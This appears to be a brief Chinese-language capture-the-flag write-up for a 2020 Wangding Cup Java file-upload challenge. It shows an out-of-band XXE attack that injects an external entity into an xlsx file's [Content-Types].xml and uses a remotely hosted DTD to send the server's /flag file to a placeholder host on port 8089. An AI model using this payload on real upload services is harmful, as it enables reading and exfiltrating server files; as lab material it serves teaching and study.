2020网鼎杯---Java文件上传wp

前言

一篇文章读懂Java代码审计之XXE看过我这篇博客应该不难，没看过建议在看看。

---

题解

下载了所有的class发现需要上传xlsx poi
开头必须是execl

• 新建execl
  -1.xlsx文件，修改后缀名execl
  -1.xlsx.zip解压。
  

• 修改[Content-Types].xml

<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % remote SYSTEM "http://ip:8089/evil.dtd">
%remote;
%all;
]>
<root>&send;</root>

• 重新打包成excel-1.xlsx，文件名一定不能错。

• 在服务器上新建一个evil.etd文件。
  

<!ENTITY % all "<!ENTITY send SYSTEM 'http://ip:8089/%file;'>">

---

• 然后直接上传，查看服务器http记录。